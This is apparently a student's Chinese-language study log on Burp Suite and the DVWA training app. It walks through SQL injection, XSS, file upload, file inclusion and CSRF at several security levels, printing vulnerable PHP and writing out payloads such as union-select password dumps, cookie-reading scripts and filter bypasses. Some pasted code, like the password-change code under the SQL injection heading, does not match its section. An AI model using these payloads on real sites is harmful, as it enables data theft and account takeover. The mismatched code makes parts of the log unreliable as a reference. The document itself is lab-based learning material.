今日学习20190424
Burp Suite
Burp Suite下载
安装
配置端口
在浏览器中设置代理服务器
工具->代理服务器->代理服务器设置
选择代理服务器
开始抓包
打开进行抓包
可以直接在Raw这进行修改包的内容,最后要让包正常传递过去,点击Forward即可。
不要这个包,点击Drop,就可以丢弃。
SQL手工注入分析
low安全级别
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
判断是否存在注入,注入是字符型还是数值型。
输入:1,查询成功。
输入:1’and ‘1’=2查询失败,返回结果为空。
输入:1‘or’1‘=’2,查询成功,返回多个结果。
从上述三次尝试可知,此处存在字符型注入漏洞。
猜解SQL查询语句中的字段数。
输入:1’or1=1 order by 1 #,查询成功。
输入:1’or1=1 order by 2#,查询成功
输入:1’or 1=1 order by 3#,查询失败。说明执行的SQL查询语句只有两个字段,即图中的Firstname 和Surname。
还可以通过输入 ‘union select 1,2 # 来猜解字段数。
获取当前数据库名。
输入命令如下。
’union select user(),database()#
说明当前的数据库为dvwa。
获取数据库中表的名称。
输入命令如下
‘union select 1,group_concat(table_name)from information_schema.tables where table_schema=database() #
获取表中的字段名
输入命令如下。
'union select 1,group_concat(column_name)from information_schema.columns where table_name='users'#
表中有user_id,first_name,user和password等字段。
尝试获取user以及password
输入命令如下。
‘union select user ,password from users #
尝试破解口令
medium安全级别
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
$html .= "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
判断是否存在注入,注入是字符型还是数字型。
使用BurpSuite抓包,更改id为:1‘or’1=1#。
返回出错信息
将抓包参数改为:1 or1 =1# ,查询成功
说明存在数字型注入。由于是数字型注入服务器端的mysql_real_escape_string 函数就形同虚设,因为数字型注入并不需要借助引号。
猜测SQL查询语句中的字段数。
抓包更改参数id为:1 order by 2# ,查询成功。
抓包更改参数id为:1 order by 3# ,返回出现信息。
说明执行的SQL查询只有两个字段,即First name 和Surname。
high安全级别
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
输入命令:
'union select group_concat(user_id,first_name,last_name),group_concat(password)from users#
二 XSS漏洞源码源代码层分析
反射型XSS漏洞利用分析
low安全级别
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
在文本框中随意输入一个用户名hello,提交之后就会在页面显示。从URL中可以看出,用户名是通过name参数以GET方式提交的。
继续尝试往里面输入XSS攻击, <script>alert (“hello”)</script>
url
网页源码
可以看到所输入的脚本被嵌入到了网页中,此处存在XSS漏洞。
因此,可以通过植入恶意脚本获取本地的数据,例如输入
<script>alert (document.cookies)</script>
medium安全级别
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
?>
对输入进行了过滤,基于黑名单的思想,使用str_replace函数将输入的<script>删除,不过这种防护机制是可以绕过的。
例如,使用大小写就可以绕过,如下输入。
<Script>alert(“hello”)</Script>
还可以使用双写规避过滤。
high安全级别。
代码如下:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
?>
High级别的代码同样使用了黑名单过滤输入,preg_replace()函数 用于正则表达式的搜索和替换,这使得双写绕过和大小写混淆绕过失败。
虽然无法使用<script>标签注入XSS代码,但是可以通过img,body,等html语言中的事件或者iframe等标签src注入恶意的js代码。
输入:
<img src=1 onerror=alert (“hello”)>
impossible安全级别
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
impossible级别的代码使用了htmlspecialchars函数吧预定义的字符&,“、”、< >转换为HTML实体,防止浏览器将其作为HTML元素。
存储型XSS漏洞利用分析
low安全级别
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
以上代码提供了$ message和$name两个变量,分别用于接收用户在Message和Name文本框中所提交的数据。对这两个变量通过以下三个函数。
虽然能进行了过滤,但是只能阻止SQL注入漏洞,并没有做到XSS方面的过滤与检查,因此存在明显的存储型XSS漏洞。
在Message输入<script>alert(“hello’)</script>成功弹出对话框.
通过抓包修改id,盗取cookie.
medium安全级别
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
使用大小写混淆绕过.通过BurpSuite抓包修改name参数为:
<Script>alert(“hello”)</Script>
high安全级别
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
虽然使用了正则表达式过滤了<script>标签,但是却忽略了img ,iframe \等其他的危险标签,因此name参数依旧存在存储型漏洞.
通过抓白修改name为:
<img src =1 onerror=alert(1)>
impossible安全级别
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
通过htmlspecialchars函数解决了XSS漏洞.但是需要注意的是,如果htmlspecialchars函数使用不当,攻击者仍可以过编码的方式如果函数极限XSS注入,尤其是DOM型的XSS漏洞.
十大漏洞
1.File Upload(文件上传)
文件上传漏洞是指由于服务器对于用户上传部分的控制不严格导致攻击者可以上传一个恶意的可执行的文件到服务器。简单点说,就是用户直接或者通过各种绕过方式将webshell上传到服务器中进而执行利用。
Low级:
<?php
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename( $_FILES['uploaded']['name']);
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';
}
}
?>
DVWA_WEB_PAGE_TO_ROOT为网页的根目录,target_path变量为上传文件的绝对路径,basename( $_FILES['uploaded']['name'])将文件中已经“uploaded”的文件的名字取出并加入到target_path变量中。if语句判断文件是否上传到指定的路径中,若没有则显示没有上传。总的可见,此级别没有对上传文件的类型进行任何的过滤,也就是可以随意上传php文件。
Medium级:
<?php
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_type = $_FILES['uploaded']['type'];
$uploaded_size = $_FILES['uploaded']['size'];
if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)){
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';
}
}
else{
echo '<pre>Your image was not uploaded.</pre>';
}
}
?>
较Low级的增加了三个变量分别用于表示上传文件的名字、类型和大小,在if语句中判断上传文件的类型是否为“image/jpeg”和大小是否小于100kb。这里也只是简单地设置检测文件的类型,因此可以通过burpsuite来修改文件的类型进行过滤即可。
High级:
<?php
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';
}
}
else{
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
}
}
?>
其过滤机制改为判断上传文件的后缀名是否为jpg等,可以通过burpsuite直接在文件名的后面再加jpg后缀名即可绕过。
2.File Inclusion(文件包含)
就是在通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致了包含了Web根目录以外的文件进来,就会导致文件信息的泄露甚至注入了恶意代码。
low级:
<?php
$file = $_GET['page']; //The page we wish to display
?>
可以发现,对于GET请求发送过来的内容并没有进行任何的过滤。
Medium级:
<?php
$file = $_GET['page']; // The page we wish to display
// Bad input validation
$file = str_replace("http://", "", $file);
$file = str_replace("https://", "", $file);
?>
就是将输入的url参数中包含的“http://”、“https://”等字符串替换成空的字符串,即过滤了远程文件包含,对于本地文件包含并没有任何过滤。
High级:
<?php
$file = $_GET['page']; //The page we wish to display
// Only allow include.php
if ( $file != "include.php" ) {
echo "ERROR: File not found!";
exit;
}
?>
设置为只有当为include.php时才能通过,本质就是利用白名单机制进行过滤,即很难再进行漏洞的利用了,限于知识量有限本人还不知如何绕过。
3.XSS(Reflected)(反射型跨站脚本)
xss也是一种注入攻击,当web应用对用户输入过滤不严格,攻击者写入恶意的脚本代码(HTML、JavaScript)到网页中时,如果用户访问了含有恶意代码的页面,恶意脚本就会被浏览器解析执行导致用户被攻击。
low级:
<?php
if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
$isempty = true;
} else {
echo '<pre>';
echo 'Hello ' . $_GET['name'];
echo '</pre>';
}
?>
进入代码层面看,可以看到没有对保存输入内容的name变量进行任何的过滤检测就提交并直接显示出来。
Medium级:
<?php
if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
$isempty = true;
} else {
echo '<pre>';
echo 'Hello ' . str_replace('<script>', '', $_GET['name']);
echo '</pre>';
}
?>
代码中调用了str_replace()函数,其中将含有”<script>”的字符串都替换成空字符串。
这样利用方法有很多,比如可以转换”<script>”中一些字符的大小写<Script>、内嵌字符串<scr<script>ipt>、不使用<script>标签而是用其他标签如<img>等等,这里就不再演示。
High级别:
<?php
if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
$isempty = true;
} else {
echo '<pre>';
echo 'Hello ' . htmlspecialchars($_GET['name']);
echo '</pre>';
}
?>
代码中调用了htmlspecialchars()函数,其中将输出的内容进行HTML的编码,即无论是什么字符都会被编码为html编码从而具有很强的过滤效果,目前暂时无法找到方法绕过。
4.XSS(Stored)(存储型跨站脚本)
Stored Cross Site Scripting(XSS)存储型跨站脚本攻击会把用户输入的数据存储在服务器端。如果web应用程序从恶意用户处收集了输入数据并将这些数据存储在数据库中以供以后使用,就会发生储存式跨站点脚本。
low级:
<?php
if(isset($_POST['btnSign']))
{
$message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName']);
// Sanitize message input
$message = stripslashes($message);
$message = mysql_real_escape_string($message);
// Sanitize name input
$name = mysql_real_escape_string($name);
$query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";
$result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );
}
?>
其中有几个函数:trim() 函数移除字符串两侧的空白字符或其他预定义字符;stripslashes() 函数删除由 addslashes() 函数添加的反斜杠;mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
在Name和Message中都使用了mysql_real_escape_string() 函数,使其能够过滤SQL注入但是却没能过滤XSS注入。另外Message中还调用了stripslashes() 函数来删除字符串中的反斜杠但是却对XSS注入没有过滤的作用。因而两个变量都是存在XSS漏洞的。
Medium级:
<?php
if(isset($_POST['btnSign']))
{
$message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName']);
// Sanitize message input
$message = trim(strip_tags(addslashes($message)));
$message = mysql_real_escape_string($message);
$message = htmlspecialchars($message);
// Sanitize name input
$name = str_replace('<script>', '', $name);
$name = mysql_real_escape_string($name);
$query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";
$result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );
}
?>
与Low级的相比,name值的处理增加了一个str_replace() 函数,用来将字符串中含有“<script>”的字符串替换为空字符,从而稍微有点过滤作用;message值的处理中,在其第二次调用trim()函数时还内嵌了两个函数,先是使用addslashes() 函数、返回在预定义字符之前添加反斜杠的字符串,然后调用strip_tags() 函数来剥去字符串中的 HTML、XML 以及 PHP 的标签,在最后再调用htmlspecialchars() 函数、把预定义的字符转换为 HTML 实体,对输入的内容先进行HTML的编码然后再存储进服务器中,从而使message的SQL和XSS漏洞几乎不存在。
High级:
<?php
if(isset($_POST['btnSign']))
{
$message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName']);
// Sanitize message input
$message = stripslashes($message);
$message = mysql_real_escape_string($message);
$message = htmlspecialchars($message);
// Sanitize name input
$name = stripslashes($name);
$name = mysql_real_escape_string($name);
$name = htmlspecialchars($name);
$query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";
$result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );
}
?>
对于name和message两个输入内容的处理都是调用三个函数,stripslashes()、mysql_real_escape_string()和htmlspecialchars(),即有效防止了SQL注入又防止了XSS注入,该过滤机制是比较强的,暂时无法进行绕过利用。
5.CSRF(跨站请求伪造)
CSRF(Cross-site request forgery)跨站请求伪造,迫使用户在通过验证后在web应用中执行不必要的操作,通过伪装来自受信任用户的请求来利用受信任的网站。
Low级:
<?php
if (isset($_GET['Change'])) {
// Turn requests into variables
$pass_new = $_GET['password_new'];
$pass_conf = $_GET['password_conf'];
if (($pass_new == $pass_conf)){
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new);
$insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";
$result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );
echo "<pre> Password Changed </pre>";
mysql_close();
}
else{
echo "<pre> Passwords did not match. </pre>";
}
}
?>
首先获取输入的两个密码然后判断两个值是否相等,若相等则接着对pass_new变量进行调用mysql_real_escape_string()函数来进行字符串的过滤、再调用md5()函数对输入的密码进行MD5加密,最后再将新密码更新到数据库中。整段代码因为调用了mysql_real_escape_string()函数从而有效地过滤了SQL注入,但是对CSRF没有任何的防御机制。
Medium级:
Medium级的修改密码的界面还是和Low级的一样,不需要进行身份认证即输入当前的密码。
<?php
if (isset($_GET['Change'])) {
// Checks the http referer header
if ( eregi ( "127.0.0.1", $_SERVER['HTTP_REFERER'] ) ){
// Turn requests into variables
$pass_new = $_GET['password_new'];
$pass_conf = $_GET['password_conf'];
if ($pass_new == $pass_conf){
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new);
$insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";
$result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );
echo "<pre> Password Changed </pre>";
mysql_close();
}
else{
echo "<pre> Passwords did not match. </pre>";
}
}
}
?>
一开始就调用eregi()函数来判断HTTP头的referer字段里是不是包含“127.0.0.1”字符串,即发送请求的是不是本机,如果是则继续后面代码的执行。后面的代码和low级的一样就没啥说的了。
High级:
和前面两个等级不同,High级修改密码的界面是需要通过三次输入,即增加了输入当前密码的项,从而能够进行相应的身份认证:
<?php
if (isset($_GET['Change'])) {
// Turn requests into variables
$pass_curr = $_GET['password_current'];
$pass_new = $_GET['password_new'];
$pass_conf = $_GET['password_conf'];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = mysql_real_escape_string( $pass_curr );
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$qry = "SELECT password FROM `users` WHERE user='admin' AND password='$pass_curr';";
$result = mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' );
if (($pass_new == $pass_conf) && ( $result && mysql_num_rows( $result ) == 1 )){
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new);
$insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";
$result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );
echo "<pre> Password Changed </pre>";
mysql_close();
}
else{
echo "<pre> Passwords did not match or current password incorrect. </pre>";
}
}
?>
较之前不同等级的代码,这里增加了当前密码的变量pass_curr并对其调用stripslashes()函数来删除反斜杠和调用mysql_real_escape_string()函数来对字符进行过滤从而防止SQL注入,再调用md5()函数进行MD5加密;接着判断密码是否正确,若正确且输入的新密码和确认密码相等则执行后面的代码,该部分和前面的代码一致。因为增加了确认的机制,所以如果攻击者不知道用户当前密码是没有办法进行CSRF攻击的,即几乎是不存在CSRF漏洞了。
6.SQL Injection(SQL注入)
通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
Low级:
<?php
if(isset($_GET['Submit'])){
// Retrieve data
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i = 0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
?>
可以看到,对于输入的变量id的值并没有过滤而直接用到SELECT语句中,报错还调用mydql_error()函数显示mysql数据库的报错信息。
Medium级:
<?php
if (isset($_GET['Submit'])) {
// Retrieve data
$id = $_GET['id'];
$id = mysql_real_escape_string($id);
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i=0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
?>
其中mysql_real_escape_string函数是实现转义 SQL 语句字符串中的特殊字符,如输入单引号’则处理时会在其前面加上右斜杠\来进行转义,如果语句错误则输出相应的错误信息。
High级:
<?php
if (isset($_GET['Submit'])) {
// Retrieve data
$id = $_GET['id'];
$id = stripslashes($id);
$id = mysql_real_escape_string($id);
if (is_numeric($id)){
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i=0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
}
?>
其中,stripslashes函数是实现删除反斜杠的功能;is_numeric函数判断变量id是否为数字类型,如果不是则后面的语句都不会实现,这就意味着输入的数据类型必须为数字类型才能接着实现后面的注入语句。
7.Brute Force(暴力(破解))
比如说我们有时候会忘记我们的手机密码,这个时候我们就会从我们之前使用的密码中一个个去试着解锁,这就是暴力破解的精髓所在了,也就是枚举猜解。所以暴力破解的前提就是你有一个强大的字典,字典就是我们已知的一些用户名和密码,我们会通过这个字典来猜解。
8.Command Injection(命令行注入)
命令注入攻击的常见模式为:仅仅需要输入数据的场合,却伴随着数据同时输入了恶意代码,而装载数据的系统对此并未设计良好的过滤过程,导致恶意代码也一并执行,最终导致信息泄露或者正常数据的破坏。 PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一,国内著名的Web应用程序Discuz!、DedeCMS等都曾经存在过该类型漏洞。
9.Insecure CAPTCHA(不安全的验证码)
Insecure CAPTCHA,意思是不安全的验证码,CAPTCHA是Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)的简称。但这一模块的内容叫做不安全的验证流程更妥当些,因为这块主要是验证流程出现了逻辑漏洞。
10 XSS(DOM)
DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。
dvwa的安装配置
安装时出现的问题。
- Xamp中Apache与Mysql的端口被占用。
- Localhost拒绝连接。
- 代理服务器。